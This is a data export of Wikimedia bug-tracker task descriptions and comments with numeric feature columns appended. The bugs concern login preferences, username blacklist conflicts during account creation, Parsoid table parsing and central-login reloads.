+https://gerrit.wikimedia.org/r/134615",,,1400686449,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+253648,"Remove ""Remember my login""-option from the preferences","Change 134615 had a related patch set uploaded by Krinkle:
+Removed 'Remember my login' preference
+
+https://gerrit.wikimedia.org/r/134615",,,1400685863,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+253642,"Remove ""Remember my login""-option from the preferences",Thanks a lot for stating and resolving this bug. I always found strange to see this preference depending of a cookie/local environment/browser.,,,1397808572,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+253640,"Remove ""Remember my login""-option from the preferences","Change 94614 merged by jenkins-bot:
+Removed 'Remember my login' preference
+
+https://gerrit.wikimedia.org/r/94614",,,1397754165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,33,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+253637,"Remove ""Remember my login""-option from the preferences","Change 94614 had a related patch set uploaded by 01tonythomas:
+Removed 'Remember my login' option from the Preferences page
+
+https://gerrit.wikimedia.org/r/94614",,,1384094566,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+253634,"Remove ""Remember my login""-option from the preferences",+1,,,1384007851,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+253630,"Remove ""Remember my login""-option from the preferences",I would like to work on this bug. Please assign it to me.,,,1384003633,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,3,False,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+253624,"Remove ""Remember my login""-option from the preferences","**swalling** wrote:
+
+Good call. The duplicate preference there makes no sense, and the contextually correct place to put this choice is on the login form.",,,1375301014,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qd3sc7hakl6y5s26uzx2,task_subcomment,,True,c2,1,False,,,-4,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+54335,Cannot create account: the requested username is already taken in the unified login system,"Account TCN7JM was created on most WMF wikis except one or two, due to rules in MediaWiki:Titleblacklist.
+
+Before MW 1.22 it was possible for admin to create account for user (simpler than changing MediaWiki:Titleblacklist). Today I got following:
+
+""Account creation error
+Cannot create account: the requested username is already taken in the unified login system.""
+
+Tried twice, thought that only filing bug report here will help, but workaround solved problem (created temp name and renamed it to wished name - TCN7JM).
+
+Anyhow, that should not happen, as check for wanted user name on local wiki gave: ""User account ""TCN7JM"" is not registered.""
+
+Account & wiki where bug occurred (for easier troubleshooting):
+
+http://hr.wikipedia.org/wiki/Razgovor_sa_suradnikom:TCN7JM
+
+Thanks!
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1375295220,1690131472.0,PHID-USER-3hahyxmftu2sew3v6v6w,False,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_description,resolved,True,c2,1,False,False,False,-4,True,0,0,0,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,1,1,1,0
+2163731,Cannot create account: the requested username is already taken in the unified login system,Special:CreateLocalAccount fixes this issue.,,,1690131472,,PHID-USER-mqhfa5y5f5tg6g3b5hui,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,3,True,,,516,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+449312,Cannot create account: the requested username is already taken in the unified login system,Hi can this be closed or is this still a problem.,,,1430071118,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,3,False,,,86,True,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+253333,Cannot create account: the requested username is already taken in the unified login system,"No problem at all, Andre.
+
+> Could you elaborate why you would do that, and what your aim is?
+
+What? Create account?
+
+- I would like to create account because user asked me to.
+
+- He asked me to because he can not do it himself.
+
+- He can not do it because of MediaWiki:Titleblacklist
+
+- That is already written in original bugreport
+
+> And after reading this twice I still fail to understand which steps to perform
+in which order, in order to reproduce the problem. Sorry. :-/
+
+- Maybe we can go together through original bugreport:
+
+""Account TCN7JM was created on most WMF wikis except one or two, due to rules in
+MediaWiki:Titleblacklist.""
+
+That means, ""Account TCN7JM was created on most WMF wikis"", but not on all wikis, due to rules in MediaWiki:Titleblacklist.
+
+""Before MW 1.22 it was possible for admin to create account for user (simpler
+than changing MediaWiki:Titleblacklist).""
+
+That means, in earlier versions of MW it was possible for admin to create account for user which user himself/herself could not open.
+
+""Today I got following: ""Account creation error
+Cannot create account: the requested username is already taken in the unified
+login system.""
+
+That means, instead of MW creating new account, it miserably fails.
+
+""Tried twice, thought that only filing bug report here will help, but workaround
+solved problem (created temp name and renamed it to wished name - TCN7JM).""
+
+That means I tried twice to create account, but MW repeatedly failed to do what is ordered to. Well, good thing is that behavior is consistent, but it would be nicer if behavior would be consistently smart than otherwise.
+
+""Anyhow, that should not happen, as check for wanted user name on local wiki
+gave: ""User account ""TCN7JM"" is not registered.""
+
+Finally, that means MW fail should not happen.
+
+Kind regards
+
+   Speedy",,,1377675600,,PHID-USER-3hahyxmftu2sew3v6v6w,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,1,1,1,1,1,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1
+253326,Cannot create account: the requested username is already taken in the unified login system,SpeedyGonsales: Could you answer comment 1 please?,,,1377620732,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+253320,Cannot create account: the requested username is already taken in the unified login system,"> Before MW 1.22 it was possible for admin to create account for user 
+> (simpler than changing MediaWiki:Titleblacklist).
+
+Could you elaborate why you would do that, and what your aim is?
+
+And after reading this twice I still fail to understand which steps to perform in which order, in order to reproduce the problem. Sorry. :-/",,,1375354567,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ugk2r7j6yz7zsjfpnwkx,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,1
+54296,Certification templates not parsed correctly,"**Author:** `kwwilliams`
+
+**Description:**
+Per http://parsoid.wmflabs.org/en/User:Kww/certtable the failure to display the certification template tables in http://en.wikipedia.org/wiki/User:Kww/certtable (live version http://en.wikipedia.org/w/index.php?title=Metallica_%28album%29&oldid=566196578&veaction=edit) appears to be rooted in Parsoid. This means that it must be a different bug than 50589 but may be related to 44498.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44498
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50589",Medium,50.0,1375218540,1376520448.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-7izdwvclddnvwzuhqhhd,task_description,resolved,True,c2,1,False,False,True,-5,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+251093,Certification templates not parsed correctly,"Yes, I noticed the other related bug and didn't re-enable it.  I meant to update the bug report, but I got sucked into verifying other bug fixes.",,,1376528440,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+251087,Certification templates not parsed correctly,"**kwwilliams** wrote:
+
+Please don't reenable editing on that page until 52254 is also fixed.",,,1376526304,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+251082,Certification templates not parsed correctly,"This fix has now been deployed and verified that User:Kww/certtable now shows up correctly in VE.
+
+I am going to reopen Metallica album page for editing.
+
+Closing -- please reopen if you see a problem.",,,1376520448,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+251077,Certification templates not parsed correctly,"Change 76842 merged by jenkins-bot:
+(Bug 52296) Delete empty autoinserted tags in the last DOM pass
+
+https://gerrit.wikimedia.org/r/76842",,,1375485226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+251072,Certification templates not parsed correctly,"The subst-related parse issues are unrelated to the bug that we are fixing here.  But, the patch above deals with the empty-cell scenarios that break the table on the Metallica album page.",,,1375224534,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+251066,Certification templates not parsed correctly,"Change 76842 had a related patch set uploaded by Subramanya Sastry:
+WIP: (Bug 52296) Delete empty autoinserted tags in the last DOM pass
+
+https://gerrit.wikimedia.org/r/76842",,,1375224169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+251061,Certification templates not parsed correctly,"**kwwilliams** wrote:
+
+Based on ssastry's commment, I went ahead and did a ""subst"" on ""Certification Table Top"" and ""Certification Table Bottom"". It got worse: http://en.wikipedia.org/wiki/User:Kww/certtablesubst?veaction=edit and http://parsoid.wmflabs.org/en/User:Kww/certtablesubst",,,1375220508,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+251056,Certification templates not parsed correctly,"It is unrelated to 44498.  I've been investigating this and the parser introduces an empty <td></td> when parsing {{Certification Table Top}}.  This doesn't happen when I copy the wikitext verbatim and parse it on its own.  So, just an edge case which should be fixable relatively easily.",,,1375218947,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-7izdwvclddnvwzuhqhhd,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+54191,Badly formatted login error when username banned from creation,"**Author:** `sumanah`
+
+**Description:**
+webpage displaying login error
+
+This might be multiple bugs that need to be split up.
+
+I went to zh.wikipedia.org and clicked the 登录 link in the upper right hand corner (next to the user icon) to sign in.  I presumed that my user account for User:Sharihareswara_(WMF) would get me in, thanks to SUL.
+
+I know the login UI so it didn't bother me that it was labelled in a language I don't know.  I filled in:
+
+Username: Sharihareswara (WMF)
+Password: [correct password]
+
+and got the following error message in red (see screenshots):
+
+登录错误
+<<table id=""mw-protectedpagetext"" class=""plainlinks fmbox fmbox-warning"" style=""clear: both; margin: 0.2em 0; border: 1px solid #aaa; background: #f9f9f9; width: 100%; background: #FFDBDB; border: 1px solid #BB7070;""> <tr> <td class=""mbox-text"" style=""""> <p>本用户已经被禁止创建，由于用户名“Sharihareswara (WMF)”和<a href=""/wiki/MediaWiki:Titleblacklist"" title=""MediaWiki:Titleblacklist"">本地</a>或<a href=""//meta.wikimedia.org/wiki/Title_blacklist"" class=""extiw"" title=""m:Title blacklist"">全域</a>黑名單<code> .*(apologise|war).* &lt;newaccountonly&gt;</code>配合。请确保用户名符合<a href=""/wiki/Wikipedia:%E7%94%A8%E6%88%B7%E5%90%8D"" title=""Wikipedia:用户名"">用户名方针</a>。如果需要协助，请参照<a href=""/wiki/Wikipedia:%E8%B4%A6%E5%8F%B7%E8%AF%B7%E6%B1%82"" title=""Wikipedia:账号请求"">Wikipedia:账号请求</a>所列指示直接向管理员申请账号或提交反馈。 </p> </td> </tr> </table> > 
+
+When I switched to English via the ""：中文（简体）‎ | 中文（繁體）‎ | English | 日本語 | 한국어"" choices just above that error and tried again, I got:
+
+
+Login error
+<The user name ""Sharihareswara (WMF)"" has been banned from creation. It matches the following blacklist entry: <code> .*(apologise|war).* &lt;newaccountonly&gt;</code>> 
+
+
+(My last name has the string ""war"" in it; never realized that before.)
+
+However, if I tried logging in with an *incorrect* password, I got a well-formatted error ""Login error: Incorrect password entered. Please try again."" or ""登录错误: 你输入的密码错误。请重试"".  That error message doesn't reveal any of the <table> or <code> tags to the user in the message.
+
+Therefore:
+
+1) Zhwiki administrators or Chinese translators, could you fix the messaging for the ""this username has been banned from creation""?  I looked in https://translatewiki.net/w/i.php?title=Special:Translate&language=zh-hant&group=core&filter=&action=translate and I couldn't figure out what message needs fixing, sorry.
+
+2) If the wiki's administrators have banned a particular user name from creation, but our SUL unification tries to make an account for them, then is it the right thing to do to still display a regular ""wrong password"" error message when someone tries to login with that username but gets the password wrong?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44718
+
+**Attached**: {F11533}",Medium,50.0,1375015320,1382631131.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_description,resolved,True,c2,1,False,False,True,-5,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+244720,Badly formatted login error when username banned from creation,"Change 47821 merged by jenkins-bot:
+Fix double-parsing of account creation messages.
+
+https://gerrit.wikimedia.org/r/47821",,,1382610936,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+244716,Badly formatted login error when username banned from creation,"Change 47821 had a related patch set uploaded by Bartosz Dziewoński:
+Fix double-parsing of account creation messages.
+
+https://gerrit.wikimedia.org/r/47821",,,1380128596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244713,Badly formatted login error when username banned from creation,*** Bug 54336 has been marked as a duplicate of this bug. ***,,,1379680275,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,3,False,,,3,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+244710,Badly formatted login error when username banned from creation,"**swalling** wrote:
+
+This kind of error is also present on enwiki, it seems. Thought it might be related more to 44718. Not sure. 
+
+I've added S Page to the bug, the engineer who did the bulk of our team's work on account creation. He should be able to help hunt down what's going on here.",,,1375029218,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,0
+244707,Badly formatted login error when username banned from creation,"**swalling** wrote:
+
+enwiki screenshot
+
+**Attached**: {F11535}",,,1375028988,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+244704,Badly formatted login error when username banned from creation,"For that specific blacklist rule, I edited it to make it match word boundaries only[1], so Sumana you should be able to log in now.
+
+[1] https://zh.wikipedia.org/w/index.php?title=MediaWiki:Titleblacklist&diff=27947386&oldid=27399854",,,1375016524,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+244697,Badly formatted login error when username banned from creation,"(1) is a due to bug 44718.
+(2) is a real bug, but more or less related to bug 36939.",,,1375016333,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1
+244693,Badly formatted login error when username banned from creation,"**sumanah** wrote:
+
+close-up of login error
+
+**Attached**: {F11534}",,,1375015390,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ozj5dku2jwpvnsf6xq2k,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+53850,New login.wikimedia system forces a reload on every wiki,"I'm not sure which is the correct component/product, if it's WMF configuration or CA, so please move if it's not in the right place.
+
+On every wiki I visit, since the loginwiki has been made active, instead of being welcomed by my locally set monobook interface, I get a vector UI with the following message:
+
+""Central login
+You are centrally logged in as Snowolf. Reload the page to apply your user settings.""
+
+It is rather timeconsuming to have to reload on every wiki I browse... is there no way around it?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374563520,1395326036.0,PHID-USER-h4ziznimyckbsu4u6jtl,False,,False,PHID-TASK-uxy6h7vz7hi7yprytta7,task_description,declined,True,c2,1,False,False,False,-6,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+247376,New login.wikimedia system forces a reload on every wiki,"I think it's obsolete, I haven't run into it in ages.",,,1395326036,,PHID-USER-h4ziznimyckbsu4u6jtl,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,False,,,29,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
